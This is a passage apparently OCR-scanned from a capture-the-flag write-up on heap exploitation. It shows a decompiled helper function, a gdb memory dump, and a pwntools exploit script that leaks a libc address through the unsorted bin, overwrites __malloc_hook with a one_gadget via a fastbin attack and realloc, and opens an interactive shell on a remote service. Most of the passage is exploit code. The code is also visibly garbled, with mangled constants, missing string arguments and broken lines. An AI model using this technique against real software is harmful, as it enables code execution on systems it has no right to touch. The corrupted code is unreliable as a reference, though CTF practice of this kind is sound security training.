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| _int64  fastcall sub_E26(signed int al, unsigned int a2)

{
__int64d result; // rax

if ( al » (signed int)az2 )
return aZ;
if ( a2 - al == 18 )
LODWORD(result) = al + 1;
else
LODWORD(result) = al;
return (unsigned int)result;
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3. freefrichunk1, iX#fchunk1t£x3E Aunsortedbin

a0

x/20gx 0x5625db4f7020

0x5625db4f7020: 0x6161616161616161
0x5625db4f7030: 0x00005625db4f7080
0x5625db4f7040: 0x0000000000000000
0x5625db4f7050: 0x6161616161616161
0x5625db4f7060: 0x6161616161616161
0x5625db4f7070: 0x0000000000000000
0x5625db4f7080:

0x5625db4f7090:

0x5625db4f70a0: ;
0x5625db4f70b0:" 0x0000000000000000
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from pwn import

import struct

, log_level

process(
if d 1L
gdb.attach(p)
else:
p remote( , 33420)

def create(size):
p.sendlineafter( (1))

p.sendlineafter( (size))

def write(index, size, content):
p.sendlineafter( B (2))

p.sendlineafter( (index))
p.sendlineafter( (size))

p.sendlineafter( , content)

def free(index):




p.sendlineafter( (3))

p.sendlineafter( (index))

def show(index):
p.sendlineafter( (4))

p.sendlineafter( (index))

write(10, 0x10, p64(0x91) p64(0x21))

create(0x18)
write(11, ox1e, p64(0x21))

write(0, 0x18 10, ox18

, 0x10, p64(0) + p64(0x21))

, 0x10, p64(0) + p64(0x21))

, 0x18 10, 0x18

)
p.recvline()[:8]

leak

struct.unpack( , leak)[0]
(libc_addr)

libc_addr - (@x7fb29d5fab78 - 0x7fb29d236000)
(libc_base)




0x10 + p64(0) + p64(0x71)
0x10 + p64(0) + p64(0x21)
0x10 + p64(0) + p64(0x21)
0x10 p64(9) p64(0x21)
8 p64(0x21)
ox18 p64(0x21)
, 0xe8, payload (oxe8 (payload)))

malloc_hook libc_base libc.symbols|[

print (malloc_hook)

libc_base libc.symbols|[
(realloc)

libc_base + 0xf@2a4

0x10 + p64(0) p64(0x71) p64(malloc_hook

(payload), payload)

(0x13 - ox8) p64(one_gadget) p64(realloc+13)

5 (payload), payload)

p.sendlineafter( (1))
p.sendlineafter( (1))

p.interactive()
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